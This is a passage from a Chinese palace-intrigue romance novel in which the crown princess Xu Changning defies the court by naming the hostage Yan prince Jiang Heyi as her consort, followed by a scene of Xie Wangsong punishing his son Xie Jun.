“娘娘,不好了!”一名侍女急匆匆从寝殿外跑进来,着急道,“昨日夜里,京城出事了……”
李令舒蹙了蹙眉,并未转身,仍看着镜子,问:“何事?”
侍女答道:“不知是何人作祟,昨夜许多战书在城中从天而降!纸上皆写着一样的内容,称燕国将再度侵扰昭国,定会杀入雍京,劝降百姓做奸细,若能提供情报者,必有重金奖赏!此事闹得沸沸扬扬,京城如今人心惶惶……”
李令舒却不为所动,摩挲着袖间的金丝刺绣,平静道:“只要宁儿与谢家齐心,燕国不足为惧。”
嬷嬷提醒道:“翊圣郎人选中,除了谢公子,尚有另外四人。娘娘可要提前再与殿下谈一谈?万一殿下选了别人……”
李令舒却摇头:“筠儿乃一众朝臣公认的翊圣郎人选之首,宁儿聪明得很,自是不会忤逆众朝臣之意。”
她并未将侍女带来的消息放在心上,继续欣赏着身上的衣裙。
“宁儿的眼光呀,真是比陛下好多了。”
她不断重复着令她欢喜的话语,可她的眼中,却忽然闪过一丝哀伤。
“本宫的皇儿……很快便要成婚了……”
*
江鹤一的前世日志·八
答应谢筠行替代之事时,我从未想过,自己有朝一日会沦陷至此。
许长宁是一个如太阳一般的女子,这般炙热耀眼,又如此温暖,谢筠那个狗东西,怎可以如此待她?他根本连为陛下提鞋都配不上。
许是恃恩而骄,渐失分寸,近些日子,我每每望着她熟睡,轻抚着她的轮廓,皆会生出一个荒唐的念想,若有一日,我能光明正大地站在她身边,若我是她名正言顺的皇夫,若我是谢筠的身份,我会如何……
我定会,珍之重之,将她,将她的一切,视为此生珍宝,誓死守护……
不过,这些仅是妄想罢了……我太过贪婪,生长在阴湿角落里的蝼蚁,怎配与太阳并肩?能陪着她,已是此生之幸。
13.风起
天公作美,卜选之日,刮了两日的寒风终于停了。
薛竹铃兴奋得一夜未眠,蹲在东宫寝殿门前,等着许长宁睡醒。
她已经想好了最合适许长宁今日的妆容与发型,决不允许任何人插手。
她家殿下出席所有重要的场合,必须由她来梳妆打扮!
她会让她家殿下美得全昭国女子,不对,这世间所有女子都妒忌!
卫迟风换班来上值时,被坐在门前双眼放光的薛竹铃吓了一跳。
“你这副样子,会吓着殿下的。”卫迟风打趣她一句。
“去去去,别捣乱。”薛竹铃没心思跟他闹,满脑子都是待会许长宁惊艳四方的模样,美美地抱紧怀里装满了胭脂首饰的小箱子。
卫迟风垂眼望着她,不动声色地解下外袍,给薛竹铃披上。
薛竹铃毫不客气,拢紧外袍将自己裹住。
卫迟风微微笑了笑,习惯性攥住剑柄,要在她身旁坐下。
然而他的屁股尚未着地,薛竹铃忽然腾的一下站了起来,两眼光芒堪比阳光灿烂:“殿下醒了!”
言罢,薛竹铃立即转身入了寝殿,一声“殿下”唤得甚是娇甜,随即屋内传出了许长宁低低的笑声。
卫迟风意外之余,脸上笑意更为明显。
连他都没有听见屋内的动静,这丫头是如何听见的?
这问题,恐怕薛竹铃自己也答不上来。
她自幼在许长宁身边长大,关于许长宁的事,她似乎有一种心灵感应。
眼下,这种心灵感应又运作起来了。
薛竹铃一边为许长宁梳妆,一边通过镜子观察她的神情,明明许长宁神色淡淡,她却看出了她的情绪。
“殿下,您在为何而担忧?”
许长宁抬眼看向镜中的薛竹铃,柔声道:“我还真是什么都瞒不住我们小铃铛。”
小铃铛是薛竹铃的乳名,还是许长宁给起的,自她娘亲病逝后,便只有许长宁会偶尔如此唤她。
“我可是小铃铛。”薛竹铃为许长宁戴上耳饰,在她耳边低语,“您是不是在担心今日卜选会生乱?要不谁捣乱,便让卫迟风剁了谁!”
许长宁刮刮薛竹铃的鼻子,微笑道:“你当卫迟风是神仙吗?”
“那他……确实挺厉害的嘛……”薛竹铃一边嘟囔,一边为许长宁换衣裳。
许长宁正想让她出去当着卫迟风的面吹捧他,殿外忽然便传来了卫迟风的声音。
“殿下?”
薛竹铃连忙捂嘴,小声惊讶道:“这都能听见?”
“秘书郎求见,您可方便?”
这一句话,将许长宁脸上的笑意抹除干净。
薛竹铃闻言,立即加快速度为许长宁绑好腰封,却被许长宁轻轻握住手。
许长宁对薛竹铃摇摇头,拿过腰封,回应道:“让他进来吧。”
谢筠进来后,薛竹铃便退到了一边,默默盯着他。
“谢郎在这等关头,来寻孤作甚?”许长宁红唇微扬。
“臣等不及想与殿下见一面。”谢筠眼中带笑,又含有几分爱慕,“明丽如阳,威仪如松,殿下今日,极美。”
“如此,便由谢郎为孤束上这腰封吧。”许长宁朝他靠近一步,两人之间的距离倏地拉近。
“臣荣幸至极。”谢筠双手接过腰封,绕至许长宁身后,为她系上,“臣昨日恰好路过政事堂,无意中听闻宫女私下议论,称殿下昨日去政事堂寻严相,却被赶了出来。”
许长宁眉梢轻挑,果然,他来此是为了做最后的试探。
“严相甚是顽固,上了年纪,脾气暴躁,他可是为难殿下了?”谢筠语气平淡,仿佛只是在道家常。
许长宁却忽然噗嗤一声笑了,回首望着他:“若孤说是,谢郎可会为孤去揍那严伯钧一顿?”
谢筠神色一顿,有些意外许长宁会开这种玩笑,又或者,这并非玩笑?
“孤的翊圣郎,可是要为孤冲锋陷阵的。”许长宁玩味地打量着谢筠。
谢筠立即站直了身子,正色作揖回答:“为了殿下,臣愿赴汤蹈火。”
许长宁笑意盈盈:“可是孤舍不得。”
谢筠见许长宁笑得妩媚,悬着的心彻底放下,亦回以温柔一笑。
旭阳东升,辰时的阳光暖暖照入殿内。
屋里唯一阴沉的,是薛竹铃的脸色。
她看着被谢筠系得歪歪扭扭的腰封,气得几乎要将一旁的帘子给拽下来。
岂有此理!她完美的殿下,被这猪给拱了!
*
含元殿前,百级台阶之下,文武百官身着官服,共同等候着许长宁。
由朝中重臣严苛筛选的五名翊圣郎人选,在此卜选之日,破例立于百官之上,站在百级台阶的一半之处。他们的左右两侧,分别站着左相谢望松与右相严伯钧。
这五人出身名贵,不是谢家的人,便是严伯钧的人,他们皆身着华服,阳光之下,天之骄子,叫人瞧了好生羡慕。
百官末列的最右端,江鹤一身穿一袭玄色暗金新衣,规规矩矩地站着。
他不似旁人,一眼都未曾看过最前端的五人,只觉得站得久了,有些吃力。
冬至之前,他便病了一场,昏睡几日,恢复些许后,紧接着又在许长宁和谢筠之间不断折腾,前几日那顿打,有些将他打回了原型。
他抬袖掩面,忍不住轻咳了几声,即便站在阳光下,他也觉得冷,只希望这场什么卜选尽快结束。
金鼓齐鸣,肃穆庄严。
所有人皆望向道路尽头那紧闭的大门,等待许长宁的出现。
江鹤一本想不予理会,可又不想太过明显,只好与众人一同侧身观望。
可那万人瞩目的皇太女迟迟没有现身,群臣等得久了,开始窃窃私语。
礼部尚书赵晖作为大典主持,冷汗与热汗齐冒,花白的胡子都要滴出汗来。
他暗暗看向谢筠,眼神中尽是忧虑,但谢筠微微摇头让他安心。
忽有一阵风起,卷起沙尘迷了许多人的眼。
伴随一声响亮的“皇太女驾到”,厚重铁门被推开,一道亮丽身影出现在所有人的目光汇聚之处。
许长宁头戴九旒冕,珠旒随步履轻晃,令她那艳丽红唇与瓷肌明眸若隐若现。
相较于往日临朝听政的章纹常服,她今日衣着之色更为绚丽。
朱红长袍,绸缎如瀑,其上日月星辰与飞龙金纹绣,鲜艳如火。被薛竹铃重新系好的黄玉龙纹腰带,与她发间的盘龙金玉簪相映衬,于阳光下熠熠生辉。
她行走在中央御道之上,慢慢向前,目不斜视,满身傲气与锋芒,所见之人,哪怕那些对她心存不
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满不服之人,此刻也尽数被折服。
此乃昭国皇太女之势,翩若惊鸿,婉若游龙!
且不说她是否有治国之才,光是那十几年养成的储君之姿,昭国恐再无一人可与她匹敌。
谢筠望着朝他走来的许长宁,忽然有那么一瞬,忘却了所有。
忘了他与她的对立,忘了他对她身体的嫌恶,忘了他的一切图谋。
她着实耀眼,尊贵不凡,而这样的女子,将要成为他的掌中之物,岂非幸事?
可淹没在人群中的江鹤一,仅仅看了几眼,随即便移开了视线,他不敢多看,亦不想多看。
许长宁的尊贵,谢筠的尊贵,这满朝文武的尊贵,时时刻刻都在提醒他,自己有多卑贱低微。
他倏地意识到,自己前几日在东宫假惺惺求许长宁“垂怜”他时,自己有多可笑。
在那个女人眼里,他怕是一滩烂泥,竟还敢握住她的脚踝,求她踏入泥潭。
“臣等恭迎皇太女殿下!”
群臣齐声恭迎,拜手稽首,四拜成礼,声音回荡于大殿之前,洪亮浩荡。
许长宁走过御道,一级级走上阶梯,行至一半时,与五名候选人、左右二相共同立于五十级台阶的平台处。
她忽然停下脚步,转身面向下方群臣,正色道:“孤其实不愿为了继位而成婚。”
话音刚落,官员们意外不已,交头接耳小声议论。
赵晖似早有准备,出言规劝:“殿下,按照国律,您必须——”
“但孤听到了许多逆耳忠言,并非无理。”许长宁开口打断。
她目光扫过下方众臣,“自古从无女皇当政,孤乃第一人,若以女子之身孤身执政,恐不足以震慑别国,尤其是兵力财力日益强大、对昭国虎视眈眈的燕国。诸位应当知晓,这两日京城并不太平是何缘由,若两国交战,定会苦了百姓,孤绝不允许战火再起。”
群臣之中,尽是点头认同之人。
赵晖松了口气,这皇太女可算不折腾了,自己也能向谢望松交代了。
许长宁侧过身,在众目睽睽之下,抬手为一旁的谢筠整理衣襟。
她在谢筠稍显意外的眼神下继续说道:“故,于情于理,孤都应当遵从国律,卜选翊圣郎助孤一臂之力,免生外患。”
谢筠闻言,嘴角扬起一抹淡淡的笑,果然许长宁骨子里还是比较温顺的女子,与她母后如出一辙。
许长宁抚了抚谢筠平整的衣领,拂袖转身,再度面向群臣:“诸卿,赵尚书,对孤所言可有异议?”
下方一片寂静,无人再敢议论。
“甚好!”许长宁满意一笑,继续向上走,登上殿前的最高位。
她迎着骄阳,望向谢筠,当众宣布。
“孤早已认定一人为翊圣郎,他既能助孤立昭国威,又与孤情投意合,实为相守终生、互相扶持的最佳人选。”
“上来吧,孤的翊圣郎——”
许长宁忽然转头,目光落在偏僻人群角落中那道卑躬身影上,红唇微扬。
“燕国嫡长皇子,江鹤一。”
谢筠脸上的笑容瞬间凝固,迈出去的脚狠狠僵住。
他不敢置信地望向刺眼阳光之下的许长宁。
而人群之中的江鹤一犹如遭雷一击,极为震惊地抬头,狼狈地与许长宁那灼灼目光相撞。
14.对质
含元殿下如同遭遇炮弹轰炸,人声鼎沸,依稀有溃堤之势。
站在江鹤一面前的所有人,皆在诧异中为他让出了一条路。
立于台阶之下的李令舒亦大吃一惊,她立即极为明显地向前迈了几步,看向许长宁,欲以眼神警告,可许长宁根本没有理会。
李令舒又不能当众喝止,只能紧紧攥住原本舍不得弄出一丝皱褶的衣袖,暂作观望。
许长宁依旧沉稳端庄,朝犹如石化的江鹤一伸出手:“孤将与燕皇子殿下择日成婚,共促昭燕之好,百年和平。”
她动了动手指,示意他过来,“来孤的身边。”
江鹤一已无法思考,像牵线傀儡般,听话地迈开腿,朝前方那道高高在上的红色身影走去。
他此刻好像在做梦,但说不清是美梦还是噩梦。
谢筠看着他步步靠近,气得一口牙几乎咬碎,谢望松的脸色也极为阴沉。
赵晖见状,立即冲江鹤一喝道:“站住!”
江鹤一猝然停下,发现自己已行至群臣中间,站在许长宁方才走过的路上。
他自知不配立于此处,于是敛袍跪下。
众人皆站立,唯有他一人跪着,犹如鸡立鹤群。
许长宁觉得这一幕甚是刺眼,不悦地蹙眉:“赵尚书,方才你无异议,为何现在又要拦孤亲择的翊圣郎?”
赵晖动作恭敬,可言辞却咄咄逼人:“此举不妥,请殿下收回成命!”
许长宁笑了一声:“你们都说燕国如今国力强盛,恐日后来犯,若孤今日择他们的嫡长皇子为翊圣郎,两国联姻,无须兵刃相对,便能再促和平,强强联手,别国亦不敢再挑衅,你倒说说,此举如何不妥?”
赵晖坚决不退让,语气愈发强硬:“江鹤一乃燕国质子,怎可贵为翊圣郎,甚至来日的一国皇夫?他有何资格辅政?殿下日后要如何服众?请殿下三思!”
朝中攀附谢家的臣子见状,纷纷附和:“请殿下三思!”
一时之间,满朝文武跪下去了超过半数之人。
许长宁不恼不怒,拂袖负手,高声道:“江鹤一贵为燕国嫡长皇子,年仅八岁,便孤身来昭国为质,平息了两国之争,是为大义!可我等却从不善待,是为不仁!孤今日所作所为,便是遵从你们日日高呼的仁义。”
“再者,你们逼孤成婚之时,说的是遵循祖制,只要孤成婚,便可全阴阳纲常,固社稷根基,谁说孤的翊圣郎定要辅政?父皇可有让母后与后宫妃嫔辅政?莫非,你们挑选这五位翊圣郎人选,是要从孤手中夺权吗?”
说到这里,许长宁的目光中才带上几分怒意,她立于高处,看上去愈发威严,赵晖一时不敢再说话,也没能想出如何对答。
好一句“夺权”,一如当初他们以“国本”和“祖制”逼迫她那般,令人无法反驳。
许长宁见赵晖熄了火,又见江鹤一完全没有要起身的意思,便开始往下走,要去将他带上来。
江鹤一怔怔地看着许长宁一步步朝他走来。
天地之间,唯有那一抹红在动。
坚定不移,毫不犹豫地朝他靠近。
他知晓许长宁此举,是借他的身份摆脱谢家的控制,并斩断其名正言顺染指皇权的机会。
可他望着她,脑中唯有她方才说过的话。
她说了三遍“燕国嫡长皇子”,又唤了一遍“燕皇子殿下”……
她说他当质子十二年,是为“大义”……
她说的每一句话都有目的,他清楚,他都清楚,可他就是尽数听进了心里。
这一刻,江鹤一觉得,自己虽跪着,却立得比过去十几年的每一刻都更像一个人。
许长宁……
除了被他的欺骗与恶语惹怒的几次,她似乎从未想过要害他,羞辱他……
到底……为何……
阳光越来越刺眼,大殿之前的氛围亦愈发紧张。
许长宁目不斜视地越过谢筠与其他候选人,行至台阶之下,群臣之前,正要继续往前,忽被李令舒喊住。
“殿下留步。”
李令舒朝许长宁走近两步,声音仍沉稳冷静,“燕国如今对昭国虎视眈眈,口口声声宣战,这燕皇子便是他们安插在昭国最好的细作,他若待在殿下身边,恐会危及昭国安危。”
冒了满额冷汗的赵晖赶紧搭话:“对对对,娘娘思虑周全!”
许长宁并未看向二人,目光仍注视着江鹤一。
她倏地一笑,令江鹤一顿感不安。
果然,她下一句便语出惊人。
“燕皇子殿下心悦于孤,早已向孤献身,有意代表燕国示好。”
江鹤一默默垂下头,咽了口口水。
方才的所思所想,全当他被震惊冲昏了头脑,这许长宁,分明是将他架在火架上烤。
这下不仅昭国人想杀他,估计连燕国人也要杀他……
“作为回报,孤也应当代表昭国,给予燕皇子殿下信任与名分。”
许长宁的语气变得温柔不少,她转身看向李令舒,莞尔道,“化敌为子,天下归心,这正是父皇想要的,母后,您觉得不好吗?”
李令舒眉心越拧越紧,衣袖已被攥出了层层褶子,可许长宁以许昭临压她,她也哑了火,再难开口阻止。
眼看着事态逐渐不可扭转,赵晖乱了阵脚,为逼许长宁,竟直言质问:“殿下可有证据?”
“证据?”许长宁睨了他一眼。
“对!空口无凭,臣等实在难以安心啊!”赵晖故意提高了声量,刁难道,“您要如何证明,这江鹤一心悦您,已献身于您?会一直对昭国忠心?”
“前几日他夜宿东宫寝殿,整个东宫都知晓,相信亦有人看见他从东宫离开。”许长宁意味深长地笑了笑,“若还是不够,他的背上,有大大小小共二十五道疤痕,左边臀部有一处胎记,形同独脚立鹤,赵尚书稍后可到殿中暗房查看细数。”
江鹤一听闻此言,头垂得更低了,脸上开始灼烧,臀部胎记之处似被虫子咬了一口般刺痛。
这人怎么回事?
连他自己都不知道背后有多少道疤痕,臀部的胎记是何形状,他们不过就那么一次,她为何能将他背上的疤痕数得如此清楚?
且那时黑灯瞎火,她怎会知晓他的臀部……
听至这里,谢筠双眼已然爬上了血丝,不敢置信和羞耻似密密麻麻的藤蔓,刺破了他的脸皮。
半数朝臣皆知,许长宁将是他谢筠之妻,许长宁自己也清楚得很,可如今,她竟当众提及与那卑贱杂碎苟合之事!暗指他谢筠比不上一个质子!
这与当众羞辱他有何异?!
赵晖被谢筠的模样吓得够呛,他宁可得罪许长宁,也不敢惹恼谢家,遂指着下方的江鹤一高声道:“大典吉时不可误,燕皇子若问心无愧,现在便除去衣裤,证明给诸位看。”
许长宁的笑意僵住了,她没料到赵晖如此过分。
她望向面露难色的江鹤一,忽然觉得心跳得有些快。
若要为了她彻底抛弃尊严,江鹤一会如何选择?
江鹤一一直没有抬头,心更是跳到了嗓子眼。
许长宁今日开口选他,他便已做好被利用的准备,只是要他当着这几百人脱去衣裤,便彻底丧失了为人的尊严。
江鹤一心中慌乱,思绪混沌,死死攥住衣角,才得以克制身体的颤抖。
可只要他抬眸,便能看到许长宁在台阶前望向他的目光。
那目光里,隐约含有一丝期待。
江鹤一莫名想起许多无关紧要的事情来。
许长宁一遍遍抚过他后背的感觉,东宫那顿十几年来吃得最好的饭,那老太监送来的东宫令牌……
苏明烨还说过,那夜他去东宫,许长宁是让人用马车送他回静思院的……
转念想想,他早就没有为人的尊严了,眼下他于许长宁有用,若是帮她,或许还能有一线生机。
回国,或不再挨打,或不再被任意羞辱,哪怕就吃得好一些……
江鹤一无声呼出一口气,站了起来。
他抬手解开了腰间
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系带,在众目睽睽之下,将双手放到了裤头上。
看着这一幕,许长宁心里好像被什么戳了一下,有一瞬忘记了呼吸。
“且慢。”她的声音泄露出几分着急。
江鹤一的脸烧得通红,她这一句话,似乎为他降了一场甘露。
许长宁行至赵晖面前,以只有他能听到的音量,说出一则她前世知晓的趣事:“赵尚书,你瞒着夫人厮混青楼,染了见不得人的疾病,好不容易医治好,却再难行男人之事,若孤差人将这些事写成话本,你说百姓到底是对燕皇子的疤痕感兴趣,还是对礼部尚书这趣闻更感兴趣?”
赵晖霎时面如土色,就连谢筠朝他使眼色,也视而不见。
她怎会知道?她怎可以知道?
可不管怎样,旁人绝不可以知道!
士可杀,不可辱,他堂堂礼部尚书,怎可如此被人看笑话?!
赵晖犹豫片刻,咬了咬牙,恢复郑重模样,作揖大声道:“殿下所言极是,含元殿前不宜失态,是臣考虑不周,若殿下心意不改,还请尽快完成卜选流程。”
谢筠被赵晖背叛且无视,快要压不住胸腔焚烧的怒气,意欲出头说话,却被一旁的谢望松以眼神制止,只好生生忍了下去。
许长宁唇角微扬,垂眸理了理衣袖,俨然一副胜者的傲慢姿态。
她那清婉又富有力量的声音于大殿之前响起:“翊圣郎,还不过来?”
然而江鹤一接连被轰炸,身上的线已经尽数被斩断,听到了指令,却不知该如何行动。
许长宁等了半晌,见他没有动静,颇为无奈地叹了口气。
她拖着长长的裙摆,于骄阳之下,步步走向江鹤一,弯腰拾起地上的腰带,为他亲手系上。
“江鹤一,赏个脸,走吧。”她低声说道,随即朝江鹤一微微一笑。
江鹤一仍站在原地,他怯怯抬眼,看到前方人人目光凌厉,暗藏杀意,阳光也暗了几分。
一旦他随许长宁走上这条路,便再没有回头路了,从此怕是要与她一荣俱荣,一损俱损。
甚至可能许长宁将他的价值利用干净,无论荣损,他都会被遗弃。
然而未待他考虑周全,忽有一只柔软的手,毫无预兆地握住了他的手。
好像一条任性的小鱼,趁他不备,溜进了他的手心里。
许长宁牵起他,于众目睽睽之下,拉着他朝前走。
江鹤一光顾着想牵手的事,一时忘了方才的忧虑,身体便主动随她往前行去。
他的脑子,好乱……
似是遮挡住太阳的云层被吹散,前路洒下日辉,一路朝最高之处铺展而去。
江鹤一恍惚间,心中闪过一瞬的冲动,他竟不由自主地,握紧了她的手。
直至他意识到了,也不想松开手。
他觉得自己像是着了魔,与那晚一般,似被夺了舍。
内心有一道声音在不断告诉他,他不能松开,像是他自己的声音,又像是来自遥远之地的声音。
许长宁感受到江鹤一收紧的手指,嘴角偷偷扬起一抹笑,步伐愈发轻盈,拉着他一步步登上台阶。
谢望松望着渐渐靠近的江鹤一,目光越来越冷,当许长宁即将行至他的面前时,他的脚步微动,正要上前一步阻拦。
然而同一时刻,另一侧的严伯钧抢先一步,忽然拦在许长宁的面前,花白的胡子气得都要竖起来。
他敛袍跪下,神色却极其犀利。
“殿下今日要选此人为翊圣郎,除非踏着老夫的尸体过去!否则绝无可能!!”
严伯钧年过五旬,这一嗓子却吼得孔武有力,在含元殿前犹如钟声浩荡。
此话一出,台阶之下,追随严伯钧的官员亦尽数跪下。
满朝文武,再无一人站立。
候在台阶之下的卫迟风见状,无声攥紧了剑柄,一旁的薛竹铃紧紧抓住他的手臂,以缓解紧张。
许长宁握着江鹤一的手骤然收紧,毫不退让。
“严相,你今日可是要反了孤?”
15.鹤骨
谢望松在看见严伯钧跪下大喝之时,刚要踏出去的脚又收了回去。
严伯钧十几年来,向来不满皇帝立许长宁为皇太女,认为女子不可为储君,好不容易逼得许长宁要选一个翊圣郎,她却如此胡闹。
想来严伯钧也不会让步,让他来当这个出头鸟最好。
毕竟谢筠是他谢望松之子,他需要避嫌。
大殿之前,片刻死寂。
严伯钧听了许长宁的质问,非但没有退让,声音反而更大了:“老臣怎敢反殿下!但老臣食昭国俸禄几十载,见不得殿下以社稷为戏,选别国质子为堂堂翊圣郎!”
看严伯钧满目凶狠地瞪了眼江鹤一,许长宁侧了侧身子,将江鹤一挡在身后,隔绝了严伯钧的视线。
“严相好一番义正辞严!”她冷笑道,“孤事事都照你们说的做了,怎就是以社稷为戏了?”
严伯钧厉声道:“翊圣郎不仅是殿下的房中人,更是未来辅政的肱股!江鹤一甚至尚未及冠,如何能担得起翊圣郎之名!”
许长宁拧眉:“孤方才已说过,选翊圣郎一事乃为遵循祖制,孤为的是名正言顺,以及你们所言的安内外之心。至于辅政,孤的臂膀,是满朝文武,不是后宫之人!除非,严相认为孤配不上这储君之位!”
严伯钧固执地仰着头,仍态度强硬:“老臣并非质疑殿下治国之能,只是江鹤一身份特殊,若来日殿下登基,他以皇夫之尊干预朝政,引燕人入阁——”
“他敢?”许长宁直接打断,微微侧头,看向身后江鹤一微扬的衣袂,寒声道,“他若敢有异心,孤第一个容不下他!孤言尽于此,严相还不让开?莫要逼孤动手。”
严伯钧依旧不肯起身,他气得脸色变了又变,忽然,眼中闪过了一丝得意的锐光。
他指向许长宁护在身后的江鹤一:“此子若真愿为殿下、为大昭效命,光靠殿下为他说话怎够?”
谢望松本垂眸静听这场闹剧,忽闻此言时,倏地抬眸看向严伯钧,负于身后的手顿时攥紧。
这老东西!方才还说唯有从他尸体踏过去才能让步,结果三言两语便被许长宁逼得松了口。
争不过还强出头做什么?
眼下即便他再开口阻止,也难以扭转局面了。
“你还想如何?”许长宁眉梢微挑。
“让他入司训房,接受为期两月的教习!”
严伯钧斩钉截铁,严词厉色,“严格学习昭国礼制律法,端正德操言行,并至少展示一项才能,才能配得上翊圣郎的‘翊’字!两个月后,老臣亲自考核,若他无法通过,请殿下必定从臣等挑选的五名候选人之中,再择翊圣郎!
“好!”许长宁毫不犹豫,回应道,“可若他通过,他及冠之日,便是册封翊圣郎之时!严相可莫要出尔反尔!”
严伯钧猛地起身,加重语气,一脸不服:“老臣愿以相位作保!他若通过了考核,届时臣必全力支持!”
两人所言,句句咄咄逼人,旁人毫无半分插嘴的机会,尤其是这对话中的关键人物,江鹤一。
他表面波澜不惊,心却越来越凉。
什么为期两月的教习期,分明是为期两月、可随意被杀的死期。
这严伯钧提出教习期,恐怕便是奔着他的性命来的,而许长宁竟果断应下,又是何打算?想借他的死,再借燕国之势,在昭国搅动一波风云吗?
“走。”
许长宁的一声呼唤,打断了江鹤一的思绪,他的手再度被牵住,整个人被拉着继续往上走。
待走远了,江鹤一忍不住低声问道:“许长宁,你到底想做什么?”
许长宁头也不回:“你不是说孤在孤军奋战吗?那孤便让你在前面挡着。”
江鹤一恍然,许长宁这是觉得她如今是众矢之的,便将他拉出来,做为明面上的靶子,替她挡着朝臣的攻击。
江鹤一冷笑道:“你不怕我真被他们害死,待燕军杀入雍京,首先要陪葬的是你吗?”
许长宁也笑:“谁说燕军能杀得进来?”
“他们的手已经伸到了雍京,你——”
江鹤一忽然意识到什么,猛地看向许长宁,“莫非京城那些燕军劝降信,是你?”
“还不算太笨。”许长宁淡淡道。
江鹤一顿时有些懊恼,自己还曾期待真有燕军潜入了雍京,也许会有人来救他和苏明烨离开。
他方才站立许久,又跪了许久,眼下接连上了这么多台阶,他的脚步开始发虚,喘气之时还引发了轻咳:“我才不要……接受什么教习,那分明……是送死……”
“这由不得你来选。”许长宁的语气不容置喙。
“那我不如自己寻个痛快的死法。”江鹤一欲甩开许长宁的手,却被她紧紧攥住。
许长宁回过头,望着他的双眸中,映射着阳光。
“江鹤一,挺直你的腰,看好了。”
“看什么?”江鹤一不解,更不耐烦。
许长宁沉默片刻,话音变得柔和许多:“你今日得到的一切,所见所闻,所感受到的一切。”
这一切,都是前世的你,为你挣来的。
你说你想做一只鹤,不必折断腰骨,向他人低头,卑贱如泥。
我今日便圆了你的梦,带你登上高台,光明正大与我并肩,以鹤骨之姿,俯视这昭国群臣。
风吹动了许长宁的耳坠,亦将她的话语,吹进了江鹤一的心中。
他忘了再与她逞口舌之快,忘了要挣开她的手,只是被她拉着,一直往上走。
一道朱红,一道玄色,缓缓行走于漫长的台阶之上,登上了众人不可企及的高处。
江鹤一转身回望那瞬,犹如立于群山之巅,有风拂来,自由平静。
自八岁起,他从未堂堂正正地于众人面前抬起头。
然而此刻,他却与昭国除皇帝外最尊贵的人站在一起,俯视许多曾经将他踩在脚下践踏之人。
十二年了,他头一次发现,这昭国的阳光,竟也会有灿烂之时。
他那碎成渣滓的尊严,似乎有一小部分,得以拼凑成片。
而拼凑之人,是她……
江鹤一微微转头,偷偷看向侧前方的许长宁。
他忽然觉得,自己也并非那般厌恶她,或者说从一开始,他对她,似乎便没有真的厌恶。
他厌恶的,只是自己的无能与卑贱,许长宁给了他与她平等相处的机会,他便趁机将这种厌恶,发泄在她的身上。
他好像对她有些不公平……
许长宁似是感应到江鹤一的目光,亦侧目看向他,江鹤一似被抓包一般,快速抽回了自己的手,移开了视线。
许长宁不甚在意,凝望着他的轮廓片刻,再度望向下方,无畏地迎接那一道道虎视眈眈的眼神。
风吹动二人的衣袂与发梢,也吹散了她的低喃。
“云止……你可喜欢?”
*
谢宅书房前,谢筠对着一旁侍从举着的铜镜,摘下了身上所有配饰。
他一遍遍检查自己的衣裳,一丝的褶皱与不平整,他都不允许。
检查完后,他深呼吸一口气,才敲响了书房门。
“公子进来吧。”房中答话之人,是那位时常跟在谢筠身边的谢家老仆,谢伍。
谢筠推门而入,毕恭毕敬地跪下,向谢望松行礼。
回应他的,是几声鸟啼。
谢望松背对着谢筠,手执一羊脂玉盏,盏中盛着果肉,正在给笼中的鸟儿喂食。
书房里没有书架,亦没有书,唯有满屋覆盖着黑布或是白布的鸟笼。
而他正在喂食的,是位于书房中阳光最好之处的两只鸟。
一对紫檀雕笼,一左一右,是书房中唯二不被布覆盖的鸟笼,笼中之鸟,极为名贵。
左笼栖着一只雪顶玄羽鹦鹉,通体羽色如墨玉,唯有顶心一点雪绒,平时极为乖顺,不似寻常鹦鹉聒噪,鸣声低回婉转。
而右笼,则囚着一只金瞳白鹇,雪羽如同白霜,尾翎拖曳宛若裙摆,眼周一圈鎏金般的瞳仁,贵气凛然。
然此鸟性傲难驯,甚至在谢望松喂食时会啄他的手,以此为攻击,还曾尝试逃脱鸟笼。
眼下,这白鹇又在不断扑棱双翅,似有挣扎之意。
谢望松喂完鹦鹉,便转身静静望着白鹇折腾,仿佛谢筠并不存在。
他不开口,谢筠便一直跪着,也不敢作声,谢伍为谢望松端着鸟食,却频频偷看向谢筠。
谢筠跪得越久,谢伍眼中的心疼与着急便越深。
满屋的鸟类啼鸣,与它们扇动翅膀之声,仿若一道道魔咒,搅天动地,令谢筠觉得浑身冒冷汗。
每次跪在书房,于他而言都是极大的折磨。
哪怕谢望松打他骂他,也好过这般一言不发。
“父亲,这次是孩儿疏忽了,让您失望了。”他伏身叩首,终还是忍不住开口了,“请您给我一点时间,我保证,定会让一切回到正轨。”
谢望松闻言,终于将视线从鸟笼中移开,转身拿起桌上的茶壶与茶杯,行至谢筠面前。
“抬头。”谢望松的声音没有半分温度。
谢筠立即直起身,满眼哀求:“父亲……”
谢望松将茶杯递给他,谢筠如释重负,忙双手接住,看着谢望松给他倒茶。
茶水冒着热气,一点点填满了茶杯,直至溢了出来,谢望松也没有停下。
滚烫的茶水,瞬间铺盖过谢筠双手的皮肤。
谢筠咬紧牙关,手仅微微一颤,再没有动过分毫。
他心中暗喜,谢望松还愿意惩罚他,便说明他还有机会。
谢望松身后的谢伍见了,顿时眉心紧蹙,下意识上前一步,马上又停了下来,克制地移开眼不去看。
“错在何处?”谢望松平静道。
“我应当利落处理掉那江鹤一。”谢筠答道。
“你错在让他去接近许长宁,从一开始,这个人便不应该出现在我们的计划当中,可你却多此一举,成事不足,败事有余。”
谢望松仍倒着茶水,手却往前移,将茶水浇在谢筠的手腕上。
他讥笑一声:“嫌她脏?你很干净吗?”
谢筠的瞳孔骤然紧缩,他忙垂下眼,以掩饰眸中的情绪。
难以抑制的痒瞬间爬上他的全身,后背的疤痕灼烧得比手更疼。
他恨不得将自己的皮给撕下来。
“是孩儿失策!不过许长宁并未起疑,我离宫前去见了她一面,她说今日之举,实在是京城形势所迫,待燕国消停,她会再——”
“废物!”壶中茶水已倒光,谢望松猛地将茶壶砸到谢筠的脸上,“她在耍你,在耍我们所有人,看不出来吗?!她已看中了江鹤一所代表的燕国势力,要用燕国来对付我们,怎可能还会让你入局?蠢货!”
谢筠未来得及深思,立即重重磕头:“父亲息怒!”
谢望松很快便平静了下来,沉声道:“洛宸如今今非昔比,他们想要的更多,但我在朝中受到的限制却越来越多。许昭临因十二年前的事,不敢在明面上对我再如何,可朝中又冒出一个严伯钧,可见他未曾放下对世家的戒心。而许长宁比起许昭临,有过之而无不及。”
“今日,她已向我们宣战。”
谢望松抬起手,谢筠便微扬起脸。
他以为那是往他脸上扇来的,可那只手却落在了他的肩膀上。
“筠儿,为父并非要惩罚你,只是希望你记住每一次失败。”
